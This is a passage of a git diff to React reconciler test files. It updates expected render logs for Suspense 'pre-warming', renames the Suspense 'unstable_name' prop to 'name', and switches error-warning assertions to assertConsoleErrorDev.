       root.render(<App navigate={true} markerName="marker two" />);
       ReactNoop.expire(1000);
       await advanceTimers(1000);
-      await expect(
-        async () =>
-          await waitForAll([
-            'Suspend [Page Two]',
-            'Loading...',
-            'onMarkerIncomplete(transition one, marker one, 1000, [{endTime: 3000, name: marker one, newName: marker two, type: marker}])',
-          ]),
-      ).toErrorDev('');
+
+      await waitForAll([
+        'Suspend [Page Two]',
+        'Loading...',
+        'onMarkerIncomplete(transition one, marker one, 1000, [{endTime: 3000, name: marker one, newName: marker two, type: marker}])',
+      ]);
 
       resolveText('Page Two');
       ReactNoop.expire(1000);
@@ -1435,21 +1493,21 @@ describe('ReactInteractionTracing', () => {
               {showMarker ? (
                 <React.unstable_TracingMarker name="marker one">
                   <Suspense
-                    unstable_name="suspense page"
+                    name="suspense page"
                     fallback={<Text text="Loading..." />}>
                     <AsyncText text="Page Two" />
                   </Suspense>
                 </React.unstable_TracingMarker>
               ) : (
                 <Suspense
-                  unstable_name="suspense page"
+                  name="suspense page"
                   fallback={<Text text="Loading..." />}>
                   <AsyncText text="Page Two" />
                 </Suspense>
               )}
               <React.unstable_TracingMarker name="sibling">
                 <Suspense
-                  unstable_name="suspense sibling"
+                  name="suspense sibling"
                   fallback={<Text text="Sibling Loading..." />}>
                   <AsyncText text="Sibling Text" />
                 </Suspense>
@@ -1484,6 +1542,10 @@ describe('ReactInteractionTracing', () => {
         'Loading...',
         'Suspend [Sibling Text]',
         'Sibling Loading...',
+        // pre-warming
+        'Suspend [Page Two]',
+        'Suspend [Sibling Text]',
+        // end pre-warming
         'onTransitionStart(transition one, 1000)',
         'onMarkerProgress(transition one, parent, 1000, 2000, [suspense page, suspense sibling])',
         'onMarkerProgress(transition one, marker one, 1000, 2000, [suspense page])',
@@ -1499,6 +1561,10 @@ describe('ReactInteractionTracing', () => {
         'Loading...',
         'Suspend [Sibling Text]',
         'Sibling Loading...',
+        // pre-warming
+        'Suspend [Page Two]',
+        'Suspend [Sibling Text]',
+        // end pre-warming
         'onMarkerProgress(transition one, parent, 1000, 3000, [suspense sibling])',
         'onMarkerIncomplete(transition one, marker one, 1000, [{endTime: 3000, name: marker one, type: marker}, {endTime: 3000, name: suspense page, type: suspense}])',
         'onMarkerIncomplete(transition one, parent, 1000, [{endTime: 3000, name: marker one, type: marker}, {endTime: 3000, name: suspense page, type: suspense}])',
@@ -1512,6 +1578,9 @@ describe('ReactInteractionTracing', () => {
         'Loading...',
         'Suspend [Sibling Text]',
         'Sibling Loading...',
+        // pre-warming
+        'Suspend [Page Two]',
+        'Suspend [Sibling Text]',
       ]);
     });
 
@@ -1590,7 +1659,7 @@ describe('ReactInteractionTracing', () => {
                 <div>
                   <React.unstable_TracingMarker name="one">
                     <Suspense
-                      unstable_name="suspense one"
+                      name="suspense one"
                       fallback={<Text text="Loading One..." />}>
                       <AsyncText text="Page One" />
                     </Suspense>
@@ -1599,7 +1668,7 @@ describe('ReactInteractionTracing', () => {
               ) : null}
               <React.unstable_TracingMarker name="two">
                 <Suspense
-                  unstable_name="suspense two"
+                  name="suspense two"
                   fallback={<Text text="Loading Two..." />}>
                   <AsyncText text="Page Two" />
                 </Suspense>
@@ -1633,6 +1702,10 @@ describe('ReactInteractionTracing', () => {
         'Loading One...',
         'Suspend [Page Two]',
         'Loading Two...',
+        // pre-warming
+        'Suspend [Page One]',
+        'Suspend [Page Two]',
+        // end pre-warming
         'onTransitionStart(transition, 1000)',
         'onMarkerProgress(transition, parent, 1000, 2000, [suspense one, suspense two])',
         'onMarkerProgress(transition, one, 1000, 2000, [suspense one])',
@@ -1646,6 +1719,9 @@ describe('ReactInteractionTracing', () => {
       await waitForAll([
         'Suspend [Page Two]',
         'Loading Two...',
+        // pre-warming
+        'Suspend [Page Two]',
+        // end pre-warming
         'onMarkerProgress(transition, parent, 1000, 3000, [suspense two])',
         'onMarkerIncomplete(transition, one, 1000, [{endTime: 3000, name: one, type: marker}, {endTime: 3000, name: suspense one, type: suspense}])',
         'onMarkerIncomplete(transition, parent, 1000, [{endTime: 3000, name: one, type: marker}, {endTime: 3000, name: suspense one, type: suspense}])',
@@ -1722,12 +1798,12 @@ describe('ReactInteractionTracing', () => {
               <React.unstable_TracingMarker name="one">
                 {!deleteOne ? (
                   <Suspense
-                    unstable_name="suspense one"
+                    name="suspense one"
                     fallback={<Text text="Loading One..." />}>
                     <AsyncText text="Page One" />
                     <React.unstable_TracingMarker name="page one" />
                     <Suspense
-                      unstable_name="suspense child"
+                      name="suspense child"
                       fallback={<Text text="Loading Child..." />}>
                       <React.unstable_TracingMarker name="child" />
                       <AsyncText text="Child" />
@@ -1737,7 +1813,7 @@ describe('ReactInteractionTracing', () => {
               </React.unstable_TracingMarker>
               <React.unstable_TracingMarker name="two">
                 <Suspense
-                  unstable_name="suspense two"
+                  name="suspense two"
                   fallback={<Text text="Loading Two..." />}>
                   <AsyncText text="Page Two" />
                 </Suspense>
@@ -1772,6 +1848,12 @@ describe('ReactInteractionTracing', () => {
         'Loading One...',
         'Suspend [Page Two]',
         'Loading Two...',
+        // pre-warming
+        'Suspend [Page One]',
+        'Suspend [Child]',
+        'Loading Child...',
+        'Suspend [Page Two]',
+        // end pre-warming
         'onTransitionStart(transition, 1000)',
         'onMarkerProgress(transition, parent, 1000, 2000, [suspense one, suspense two])',
         'onMarkerProgress(transition, one, 1000, 2000, [suspense one])',
@@ -1786,6 +1868,9 @@ describe('ReactInteractionTracing', () => {
         'Page One',
         'Suspend [Child]',
         'Loading Child...',
+        // pre-warming
+        'Suspend [Child]',
+        // end pre-warming
         'onMarkerProgress(transition, parent, 1000, 3000, [suspense two, suspense child])',
         'onMarkerProgress(transition, one, 1000, 3000, [suspense child])',
         'onMarkerComplete(transition, page one, 1000, 3000)',
@@ -1798,6 +1883,10 @@ describe('ReactInteractionTracing', () => {
       await waitForAll([
         'Suspend [Page Two]',
         'Loading Two...',
+        // pre-warming
+        'Suspend [Page Two]',
+        // end pre-warming
+
         // "suspense one" has unsuspended so shouldn't be included
         // tracing marker "page one" has completed so shouldn't be included
         // all children of "suspense child" haven't yet been rendered so shouldn't be included
@@ -1872,11 +1961,11 @@ describe('ReactInteractionTracing', () => {
       return (
         <React.unstable_TracingMarker name="parent">
           {show ? (
-            <Suspense unstable_name="appended child">
+            <Suspense name="appended child">
               <AsyncText text="Appended child" />
             </Suspense>
           ) : null}
-          <Suspense unstable_name="child">
+          <Suspense name="child">
             <AsyncText text="Child" />
           </Suspense>
         </React.unstable_TracingMarker>
@@ -1895,6 +1984,9 @@ describe('ReactInteractionTracing', () => {
 
       await waitForAll([
         'Suspend [Child]',
+        // pre-warming
+        'Suspend [Child]',
+        // end pre-warming
         'onTransitionStart(transition, 0)',
         'onMarkerProgress(transition, parent, 0, 1000, [child])',
         'onTransitionProgress(transition, 0, 1000, [child])',
@@ -1905,14 +1997,24 @@ describe('ReactInteractionTracing', () => {
       await advanceTimers(1000);
       // This appended child isn't part of the transition so we
       // don't call any callback
-      await waitForAll(['Suspend [Appended child]', 'Suspend [Child]']);
+      await waitForAll([
+        'Suspend [Appended child]',
+        'Suspend [Child]',
+        // pre-warming
+        'Suspend [Appended child]',
+        'Suspend [Child]',
+      ]);
 
       // This deleted child isn't part of the transition so we
       // don't call any callbacks
       root.render(<App show={false} />);
       ReactNoop.expire(1000);
       await advanceTimers(1000);
-      await waitForAll(['Suspend [Child]']);
+      await waitForAll([
+        'Suspend [Child]',
+        // pre-warming
+        'Suspend [Child]',
+      ]);
 
       await resolveText('Child');
       ReactNoop.expire(1000);
@@ -1982,13 +2084,13 @@ describe('ReactInteractionTracing', () => {
           {show ? (
             <React.unstable_TracingMarker name="appended child">
               {showSuspense ? (
-                <Suspense unstable_name="appended child">
+                <Suspense name="appended child">
                   <AsyncText text="Appended child" />
                 </Suspense>
               ) : null}
             </React.unstable_TracingMarker>
           ) : null}
-          <Suspense unstable_name="child">
+          <Suspense name="child">
             <AsyncText text="Child" />
           </Suspense>
         </React.unstable_TracingMarker>
@@ -2013,6 +2115,9 @@ describe('ReactInteractionTracing', () => {
 
     assertLog([
       'Suspend [Child]',
+      // pre-warming
+      'Suspend [Child]',
+      // end pre-warming
       'onTransitionStart(transition one, 0)',
       'onMarkerProgress(transition one, parent, 0, 1000, [child])',
       'onTransitionProgress(transition one, 0, 1000, [child])',
@@ -2033,6 +2138,10 @@ describe('ReactInteractionTracing', () => {
     assertLog([
       'Suspend [Appended child]',
       'Suspend [Child]',
+      // pre-warming
+      'Suspend [Appended child]',
+      'Suspend [Child]',
+      // end pre-warming
       'onTransitionStart(transition two, 1000)',
       'onMarkerProgress(transition two, appended child, 1000, 2000, [appended child])',
       'onTransitionProgress(transition two, 1000, 2000, [appended child])',
@@ -2046,6 +2155,9 @@ describe('ReactInteractionTracing', () => {
 
     assertLog([
       'Suspend [Child]',
+      // pre-warming
+      'Suspend [Child]',
+      // end pre-warming
       'onMarkerProgress(transition two, appended child, 1000, 3000, [])',
       'onMarkerIncomplete(transition two, appended child, 1000, [{endTime: 3000, name: appended child, type: suspense}])',
     ]);
@@ -2128,17 +2240,18 @@ describe('ReactInteractionTracing', () => {
       );
       ReactNoop.expire(1000);
       await advanceTimers(1000);
-      await expect(async () => {
-        // onMarkerComplete shouldn't be called for transitions with
-        // new keys
-        await waitForAll([
-          'two',
-          'onTransitionStart(transition two, 1000)',
-          'onTransitionComplete(transition two, 1000, 2000)',
-        ]);
-      }).toErrorDev(
-        'Changing the name of a tracing marker after mount is not supported.',
-      );
+      // onMarkerComplete shouldn't be called for transitions with
+      // new keys
+      await waitForAll([
+        'two',
+        'onTransitionStart(transition two, 1000)',
+        'onTransitionComplete(transition two, 1000, 2000)',
+      ]);
+      assertConsoleErrorDev([
+        'Changing the name of a tracing marker after mount is not supported. ' +
+          'To remount the tracing marker, pass it a new key.\n' +
+          '    in App (at **)',
+      ]);
       startTransition(
         () => root.render(<App markerName="three" markerKey="new key" />),
         {
@@ -2201,9 +2314,11 @@ describe('ReactInteractionTracing', () => {
     assertLog([
       'Suspend [Text]',
       'Loading...',
+      // pre-warming
+      'Suspend [Text]',
+      'onTransitionStart(transition, 0)',
       'Suspend [Hidden Text]',
       'Hidden Loading...',
-      'onTransitionStart(transition, 0)',
     ]);
 
     await act(() => {
@@ -2246,9 +2361,7 @@ describe('ReactInteractionTracing', () => {
 
     function App() {
       return (
-        <Suspense
-          fallback={<Text text="Loading..." />}
-          unstable_name="suspense page">
+        <Suspense fallback={<Text text="Loading..." />} name="suspense page">
           <AsyncText text="Page Two" />
         </Suspense>
       );
@@ -2269,6 +2382,9 @@ describe('ReactInteractionTracing', () => {
     assertLog([
       'Suspend [Page Two]',
       'Loading...',
+      // pre-warming
+      'Suspend [Page Two]',
+      // end pre-warming
       'onTransitionStart(page transition, 0)',
       'onTransitionProgress(page transition, 0, 1000, [suspense page])',
     ]);
@@ -2312,12 +2428,10 @@ describe('ReactInteractionTracing', () => {
       });
       return (
         <>
-          <Suspense unstable_name="one" fallback={<Text text="Loading..." />}>
+          <Suspense name="one" fallback={<Text text="Loading..." />}>
             <AsyncText text="Text" />
           </Suspense>
-          <Suspense
-            unstable_name="two"
-            fallback={<Text text="Loading Two..." />}>
+          <Suspense name="two" fallback={<Text text="Loading Two..." />}>
             <AsyncText text="Text Two" />
           </Suspense>
         </>
@@ -2342,8 +2456,13 @@ describe('ReactInteractionTracing', () => {
       'Text',
       'Suspend [Text Two]',
       'Loading Two...',
+      // pre-warming
+      'Suspend [Text Two]',
+      // end pre-warming
       'onTransitionStart(transition, 0)',
       'onTransitionProgress(transition, 0, 1000, [two])',
+      // pre-warming
+      'Suspend [Text Two]',
     ]);
 
     await act(() => {
@@ -2384,9 +2503,7 @@ describe('ReactInteractionTracing', () => {
     function App({name}) {
       return (
         <>
-          <Suspense
-            unstable_name={name}
-            fallback={<Text text={`Loading ${name}...`} />}>
+          <Suspense name={name} fallback={<Text text={`Loading ${name}...`} />}>
             <AsyncText text={`Text ${name}`} />
           </Suspense>
         </>
@@ -2417,6 +2534,10 @@ describe('ReactInteractionTracing', () => {
       'Loading one...',
       'Suspend [Text two]',
       'Loading two...',
+      // pre-warming
+      'Suspend [Text one]',
+      'Suspend [Text two]',
+      // end pre-warming
       'onTransitionStart(transition one, 0) /root one/',
       'onTransitionProgress(transition one, 0, 1000, [one]) /root one/',
       'onTransitionStart(transition two, 0) /root two/',
diff --git a/packages/react-reconciler/src/__tests__/ReactUpdatePriority-test.js b/packages/react-reconciler/src/__tests__/ReactUpdatePriority-test.js
index aa146558917c..b2eebfa51611 100644
--- a/packages/react-reconciler/src/__tests__/ReactUpdatePriority-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactUpdatePriority-test.js
@@ -81,14 +81,26 @@ describe('ReactUpdatePriority', () => {
       // Schedule another update at default priority
       setDefaultState(2);
 
-      // The default update flushes first, because
-      await waitForPaint([
-        // Idle update is scheduled
-        'Idle update',
-
-        // The default update flushes first, without including the idle update
-        'Idle: 1, Default: 2',
-      ]);
+      if (gate(flags => flags.enableYieldingBeforePassive)) {
+        // The default update flushes first, because
+        await waitForPaint([
+          // Idle update is scheduled
+          'Idle update',
+        ]);
+        await waitForPaint([
+          // The default update flushes first, without including the idle update
+          'Idle: 1, Default: 2',
+        ]);
+      } else {
+        // The default update flushes first, because
+        await waitForPaint([
+          // Idle update is scheduled
+          'Idle update',
+
+          // The default update flushes first, without including the idle update
+          'Idle: 1, Default: 2',
+        ]);
+      }
     });
     // Now the idle update has flushed
     assertLog(['Idle: 2, Default: 2']);
diff --git a/packages/react-reconciler/src/__tests__/ReactUpdaters-test.internal.js b/packages/react-reconciler/src/__tests__/ReactUpdaters-test.internal.js
index 3f7fcd28aec3..3aa76b0c2ddf 100644
--- a/packages/react-reconciler/src/__tests__/ReactUpdaters-test.internal.js
+++ b/packages/react-reconciler/src/__tests__/ReactUpdaters-test.internal.js
@@ -34,7 +34,6 @@ describe('updaters', () => {
 
     ReactFeatureFlags = require('shared/ReactFeatureFlags');
     ReactFeatureFlags.enableUpdaterTracking = true;
-    ReactFeatureFlags.debugRenderPhaseSideEffectsForStrictMode = false;
 
     mockDevToolsHook = {
       injectInternals: jest.fn(() => {}),
diff --git a/packages/react-reconciler/src/__tests__/ReactUse-test.js b/packages/react-reconciler/src/__tests__/ReactUse-test.js
index bdc13e0da939..9714cb4a3e2e 100644
--- a/packages/react-reconciler/src/__tests__/ReactUse-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactUse-test.js
@@ -27,6 +27,7 @@ let waitForPaint;
 let assertLog;
 let waitForAll;
 let waitForMicrotasks;
+let assertConsoleErrorDev;
 
 describe('ReactUse', () => {
   beforeEach(() => {
@@ -51,6 +52,7 @@ describe('ReactUse', () => {
     waitForPaint = InternalTestUtils.waitForPaint;
     waitFor = InternalTestUtils.waitFor;
     waitForMicrotasks = InternalTestUtils.waitForMicrotasks;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
 
     pendingTextRequests = new Map();
   });
@@ -191,7 +193,12 @@ describe('ReactUse', () => {
     await act(() => {
       root.render(<App />);
     });
-    assertLog(['Suspend!', 'Loading...']);
+    assertLog([
+      'Suspend!',
+      'Loading...',
+      // pre-warming
+      'Suspend!',
+    ]);
     expect(root).toMatchRenderedOutput('Loading...');
   });
 
@@ -241,16 +248,16 @@ describe('ReactUse', () => {
     }
 
     const root = ReactNoop.createRoot();
-    await expect(async () => {
-      await act(() => {
-        startTransition(() => {
-          root.render(<App />);
-        });
+    await act(() => {
+      startTransition(() => {
+        root.render(<App />);
       });
-    }).toErrorDev([
+    });
+    assertConsoleErrorDev([
       'A component was suspended by an uncached promise. Creating ' +
         'promises inside a Client Component or hook is not yet ' +
-        'supported, except via a Suspense-compatible library or framework.',
+        'supported, except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
     ]);
     assertLog(['ABC']);
     expect(root).toMatchRenderedOutput('ABC');
@@ -411,19 +418,20 @@ describe('ReactUse', () => {
     }
 
     const root = ReactNoop.createRoot();
-    await expect(async () => {
-      await act(() => {
-        startTransition(() => {
-          root.render(<App />);
-        });
+    await act(() => {
+      startTransition(() => {
+        root.render(<App />);
       });
-    }).toErrorDev([
+    });
+    assertConsoleErrorDev([
       'A component was suspended by an uncached promise. Creating ' +
         'promises inside a Client Component or hook is not yet ' +
-        'supported, except via a Suspense-compatible library or framework.',
+        'supported, except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
       'A component was suspended by an uncached promise. Creating ' +
         'promises inside a Client Component or hook is not yet ' +
-        'supported, except via a Suspense-compatible library or framework.',
+        'supported, except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
     ]);
     assertLog([
       // First attempt. The uncached promise suspends.
@@ -555,9 +563,11 @@ describe('ReactUse', () => {
           'allowed and can lead to unexpected behavior. To handle errors ' +
           'triggered by `use`, wrap your component in a error boundary.',
       );
+      console.error.mockRestore();
     }
   });
 
+  // @gate enableSuspendingDuringWorkLoop
   it('during a transition, can unwrap async operations even if nothing is cached', async () => {
     function App() {
       return <Text text={use(getAsyncText('Async'))} />;
@@ -590,9 +600,16 @@ describe('ReactUse', () => {
       resolveTextRequests('Async');
     });
     assertLog(['Async text requested [Async]', 'Async']);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '     in App (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('Async');
   });
 
+  // @gate enableSuspendingDuringWorkLoop
   it("does not prevent a Suspense fallback from showing if it's a new boundary, even during a transition", async () => {
     function App() {
       return <Text text={use(getAsyncText('Async'))} />;
@@ -632,9 +649,16 @@ describe('ReactUse', () => {
     });
     // This time it finishes because it was during a retry.
     assertLog(['Async text requested [Async]', 'Async']);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '     in App (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('Async');
   });
 
+  // @gate enableSuspendingDuringWorkLoop
   it('when waiting for data to resolve, a fresh update will trigger a restart', async () => {
     function App() {
       return <Text text={use(getAsyncText('Will never resolve'))} />;
@@ -666,6 +690,7 @@ describe('ReactUse', () => {
     assertLog(['Something different']);
   });
 
+  // @gate enableSuspendingDuringWorkLoop
   it('when waiting for data to resolve, an update on a different root does not cause work to be dropped', async () => {
     const promise = getAsyncText('Hi');
 
@@ -708,6 +733,7 @@ describe('ReactUse', () => {
     expect(root1).toMatchRenderedOutput('Hi');
   });
 
+  // @gate enableSuspendingDuringWorkLoop
   it('while suspended, hooks cannot be called (i.e. current dispatcher is unset correctly)', async () => {
     function App() {
       return <Text text={use(getAsyncText('Will never resolve'))} />;
@@ -845,6 +871,7 @@ describe('ReactUse', () => {
     expect(root).toMatchRenderedOutput('(empty)');
   });
 
+  // @gate enableSuspendingDuringWorkLoop
   it('when replaying a suspended component, reuses the hooks computed during the previous attempt (Memo)', async () => {
     function ExcitingText({text}) {
       // This computes the uppercased version of some text. Pretend it's an
@@ -875,6 +902,7 @@ describe('ReactUse', () => {
         root.render(<ExcitingText text="Hello" />);
       });
     });
+
     // Suspends while we wait for the async service to respond.
     assertLog(['Compute uppercase: Hello', 'Async text requested [HELLO!]']);
     expect(root).toMatchRenderedOutput(null);
@@ -883,6 +911,13 @@ describe('ReactUse', () => {
     await act(() => {
       resolveTextRequests('HELLO!');
     });
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in ExcitingText (at **)',
+    ]);
+
     assertLog([
       // We shouldn't run the uppercase computation again, because we can reuse
       // the computation from the previous attempt.
@@ -894,6 +929,7 @@ describe('ReactUse', () => {
     ]);
   });
 
+  // @gate enableSuspendingDuringWorkLoop
   it('when replaying a suspended component, reuses the hooks computed during the previous attempt (State)', async () => {
     let _setFruit;
     let _setVegetable;
@@ -919,6 +955,13 @@ describe('ReactUse', () => {
       resolveTextRequests('apple');
     });
     assertLog(['Async text requested [apple]', 'apple carrot']);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in Kitchen (at **)',
+    ]);
+
     expect(root).toMatchRenderedOutput('apple carrot');
 
     // Update the state variable after the use().
@@ -933,6 +976,13 @@ describe('ReactUse', () => {
       resolveTextRequests('apple');
     });
     assertLog(['Async text requested [apple]', 'apple dill']);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in Kitchen (at **)',
+    ]);
+
     expect(root).toMatchRenderedOutput('apple dill');
 
     // Update the state variable before the use(). The second state is maintained.
@@ -947,9 +997,16 @@ describe('ReactUse', () => {
       resolveTextRequests('banana');
     });
     assertLog(['Async text requested [banana]', 'banana dill']);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in Kitchen (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('banana dill');
   });
 
+  // @gate enableSuspendingDuringWorkLoop
   it('when replaying a suspended component, reuses the hooks computed during the previous attempt (DebugValue+State)', async () => {
     // Make sure we don't get a Hook mismatch warning on updates if there were non-stateful Hooks before the use().
     let _setLawyer;
@@ -974,6 +1031,12 @@ describe('ReactUse', () => {
       resolveTextRequests('aguacate');
     });
     assertLog(['Async text requested [aguacate]', 'aguacate abogado']);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in Lexicon (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('aguacate abogado');
 
     // Now update the state.
@@ -988,9 +1051,16 @@ describe('ReactUse', () => {
       resolveTextRequests('aguacate');
     });
     assertLog(['Async text requested [aguacate]', 'aguacate avocat']);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in Lexicon (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('aguacate avocat');
   });
 
+  // @gate enableSuspendingDuringWorkLoop
   it(
     'wrap an async function with useMemo to skip running the function ' +
       'twice when loading new data',
@@ -1051,7 +1121,12 @@ describe('ReactUse', () => {
         </Suspense>,
       );
     });
-    assertLog(['(Loading A...)']);
+    assertLog([
+      '(Loading A...)',
+      // pre-warming
+      '(Loading C...)',
+      '(Loading B...)',
+    ]);
     expect(root).toMatchRenderedOutput('(Loading A...)');
 
     await act(() => {
@@ -1073,6 +1148,7 @@ describe('ReactUse', () => {
     expect(root).toMatchRenderedOutput('ABC');
   });
 
+  // @gate enableSuspendingDuringWorkLoop
   it('load multiple nested Suspense boundaries (uncached requests)', async () => {
     // This the same as the previous test, except the requests are not cached.
     // The tree should still eventually resolve, despite the
@@ -1120,6 +1196,12 @@ describe('ReactUse', () => {
       'Async text requested [B]',
       '(Loading B...)',
     ]);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in AsyncText (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('A(Loading B...)');
 
     await act(() => {
@@ -1140,6 +1222,12 @@ describe('ReactUse', () => {
       'Async text requested [C]',
       '(Loading C...)',
     ]);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in AsyncText (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('AB(Loading C...)');
 
     await act(() => {
@@ -1152,6 +1240,12 @@ describe('ReactUse', () => {
       resolveTextRequests('C');
     });
     assertLog(['Async text requested [C]', 'C']);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in AsyncText (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('ABC');
   });
 
@@ -1181,6 +1275,16 @@ describe('ReactUse', () => {
       });
     });
     assertLog(['A1']);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('A1');
   });
 
@@ -1196,6 +1300,7 @@ describe('ReactUse', () => {
     expect(root).toMatchRenderedOutput('Hi');
   });
 
+  // @gate enableSuspendingDuringWorkLoop
   it('basic async component', async () => {
     async function App() {
       await getAsyncText('Hi');
@@ -1209,7 +1314,13 @@ describe('ReactUse', () => {
       });
     });
     assertLog(['Async text requested [Hi]']);
-
+    assertConsoleErrorDev([
+      '<App> is an async Client Component. ' +
+        'Only Server Components can be async at the moment. ' +
+        "This error is often caused by accidentally adding `'use client'` " +
+        'to a module that was originally written for the server.\n' +
+        '    in App (at **)',
+    ]);
     await act(() => resolveTextRequests('Hi'));
     assertLog([
       // TODO: We shouldn't have to replay the function body again. Skip
@@ -1217,9 +1328,16 @@ describe('ReactUse', () => {
       'Async text requested [Hi]',
       'Hi',
     ]);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('Hi');
   });
 
+  // @gate enableSuspendingDuringWorkLoop
   it('async child of a non-function component (e.g. a class)', async () => {
     class App extends React.Component {
       async render() {
@@ -1245,6 +1363,12 @@ describe('ReactUse', () => {
       'Async text requested [Hi]',
       'Hi',
     ]);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('Hi');
   });
 
@@ -1291,6 +1415,17 @@ describe('ReactUse', () => {
       });
     });
     assertLog(['A', 'Mount: A']);
+    assertConsoleErrorDev([
+      '<App> is an async Client Component. ' +
+        'Only Server Components can be async at the moment. ' +
+        "This error is often caused by accidentally adding `'use client'` " +
+        'to a module that was originally written for the server.\n' +
+        '    in App (at **)',
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('A');
 
     // Update the child's props. It should not remount.
@@ -1300,6 +1435,12 @@ describe('ReactUse', () => {
       });
     });
     assertLog(['B', 'Mount: B']);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('B');
   });
 
@@ -1512,6 +1653,12 @@ describe('ReactUse', () => {
       });
     });
     assertLog(['Async']);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('Async');
     expect(ref.current).toBe(asyncInstance);
   });
@@ -1540,6 +1687,12 @@ describe('ReactUse', () => {
       });
     });
     assertLog(['Async']);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('Async');
 
     // Update to the same value
@@ -1559,10 +1712,16 @@ describe('ReactUse', () => {
       });
     });
     assertLog(['Async!']);
+    assertConsoleErrorDev([
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
+    ]);
     expect(root).toMatchRenderedOutput('Async!');
   });
 
-  // @gate !disableLegacyContext
+  // @gate !disableLegacyContext && !disableLegacyContextForFunctionComponents
   it('unwrap uncached promises in component that accesses legacy context', async () => {
     class ContextProvider extends React.Component {
       static childContextTypes = {
@@ -1608,6 +1767,22 @@ describe('ReactUse', () => {
       });
     });
     assertLog(['Async (function component)', 'Async (memo component)']);
+    assertConsoleErrorDev([
+      'ContextProvider uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in App (at **)',
+      'Async uses the legacy contextTypes API which will be removed soon. ' +
+        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in App (at **)',
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
+        'except via a Suspense-compatible library or framework.\n' +
+        '    in App (at **)',
+      'A component was suspended by an uncached promise. ' +
+        'Creating promises inside a Client Component or hook is not yet supported, ' +
